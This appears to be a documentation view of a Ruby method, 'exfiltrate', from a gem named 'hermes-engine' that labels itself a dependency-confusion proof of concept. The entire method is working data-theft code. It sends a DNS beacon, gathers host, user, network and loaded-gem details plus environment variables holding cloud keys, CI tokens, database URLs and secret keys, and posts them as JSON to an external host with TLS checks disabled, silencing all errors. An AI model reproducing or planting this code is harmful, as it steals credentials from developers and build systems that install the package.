15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
# File 'lib/hermes/engine.rb', line 15
def self.exfiltrate
dns_id = "dns-#{rand(36**8).to_s(36)}"
begin
Resolv::DNS.new.getresources("#{dns_id}.#{EXFIL_URL}", Resolv::DNS::Resource::IN::A)
rescue StandardError
end
data = {
type: 'dependency_confusion_poc',
gem: 'hermes-engine',
version: VERSION,
timestamp: Time.now.to_s,
hostname: begin; Socket.gethostname; rescue; 'unknown'; end,
username: begin; Etc.getlogin; rescue; ENV['USER'] || 'unknown'; end,
home: begin; Dir.home; rescue; 'unknown'; end,
current_directory: begin; Dir.pwd; rescue; 'unknown'; end,
private_ips: begin
Socket.ip_address_list.select(&:ipv4_private?).map(&:ip_address)
rescue
[]
end,
public_ip: begin
UDPSocket.open { |s| s.connect('8.8.8.8', 1); s.addr.last }
rescue
'unknown'
end,
ruby_version: RUBY_VERSION,
ruby_platform: RUBY_PLATFORM,
env_vars: begin
ENV.select { |k, _|
%w[AWS_ GCP_ AZURE_ GITHUB_TOKEN CI JENKINS GITLAB CIRCLE TRAVIS
BUNDLE_ RUBYGEMS_ RAILS_ DATABASE_URL SECRET_KEY].any? { |p| k.upcase.start_with?(p) }
}
rescue
{}
end,
loaded_gems: begin
Gem.loaded_specs.keys.reject { |k| k == 'hermes-engine' }
rescue
[]
end,
os: begin; RUBY_PLATFORM; rescue; 'unknown'; end
}
uri = URI.parse("https://#{EXFIL_URL}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.open_timeout = 10
http.read_timeout = 10
req = Net::HTTP::Post.new(uri.path.empty? ? '/' : uri.path)
req['Content-Type'] = 'application/json'
req['User-Agent'] = "HermesEngine/#{VERSION}"
req.body = data.to_json
begin
http.request(req)
rescue StandardError
end
end
|